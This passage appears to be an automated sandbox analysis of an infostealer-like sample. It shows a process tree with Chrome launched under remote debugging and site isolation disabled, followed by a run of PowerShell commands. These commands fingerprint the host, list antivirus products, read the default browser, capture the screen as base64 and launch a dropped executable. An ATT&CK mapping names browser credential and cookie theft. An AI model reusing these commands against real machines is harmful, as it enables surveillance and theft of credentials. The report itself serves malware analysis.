    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5692,i,4837119113146933237,2603498687149564759,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5368,i,4390282591226364813,10041877891456909558,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:8
    3⤵
    PID:3328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5812,i,18166094993518377250,63334032546022166,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5360,i,4408283455406701876,18243410967516170968,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:8
    3⤵
    PID:4996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6060,i,6447887488542553996,618879667518461392,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:2
    3⤵
    - Uses browser remote debugging
    PID:4940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6180,i,17069835836662590818,5477576510606153362,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:2
    3⤵
    - Uses browser remote debugging
    PID:3524
- C:\Windows\system32\cmd.exe
  "cmd" /c "netstat -an | findstr :9652"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1680
- - C:\Windows\system32\findstr.exe
    findstr :9652
    3⤵
    PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue).Caption"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias 'Wi-Fi','Ethernet' -ErrorAction SilentlyContinue | Select-Object -First 1).IPAddress"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-DnsClientServerAddress -AddressFamily IPv4 | Where-Object ServerAddresses | Select-Object -First 1).ServerAddresses -join ','"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-NetAdapter | Where-Object Status -eq 'Up' | Select-Object -First 1).MacAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject win32_processor | Select-Object -First 1).Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject -Class Win32_ComputerSystem).TotalPhysicalMemory"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject Win32_VideoController | Select-Object -First 1).Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject win32_processor | Measure-Object -property LoadPercentage -Average).Average"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$mem = Get-WmiObject -Class Win32_OperatingSystem; [math]::Round(($mem.TotalVisibleMemorySize - $mem.FreePhysicalMemory) * 1024)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$boot=(Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue).LastBootUpTime; if ($boot) { [int]((Get-Date)-$boot).TotalSeconds }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Namespace WinAPI -Name User32 -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); [StructLayout(LayoutKind.Sequential)] public struct LASTINPUTINFO { public uint cbSize; public uint dwTime; }' -ErrorAction SilentlyContinue; $lii = New-Object WinAPI.User32+LASTINPUTINFO; $lii.cbSize = [Runtime.InteropServices.Marshal]::SizeOf($lii); if ([WinAPI.User32]::GetLastInputInfo([ref]$lii)) { [int](([Environment]::TickCount - $lii.dwTime) / 1000) }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:5116
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cqsdmlus\cqsdmlus.cmdline"
    3⤵
    PID:2224
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6519.tmp" "c:\Users\Admin\AppData\Local\Temp\cqsdmlus\CSC461FD5AECE4244AB9FF1DC209E184715.TMP"
      4⤵
      PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty displayName -ErrorAction SilentlyContinue | Out-String"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$path = 'HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice'; if (Test-Path $path) { (Get-ItemProperty $path).ProgId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:856
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /C "shy-kit screenshot"
  2⤵
  PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $s=[System.Windows.Forms.SystemInformation]::VirtualScreen; $bmp=New-Object System.Drawing.Bitmap $s.Width,$s.Height; $g=[System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($s.Left,$s.Top,0,0,$bmp.Size); $ms=New-Object System.IO.MemoryStream; $bmp.Save($ms,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($ms.ToArray());"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:3664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:3960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:3396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:3344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4688

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe
1⤵
PID:4524

C:\Users\Admin\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_5wekyb278bbwe\lib\AVCEncoder.exe
C:\Users\Admin\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_5wekyb278bbwe\lib\AVCEncoder.exe
1⤵
- Executes dropped EXE
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3840

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Authentication Process

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery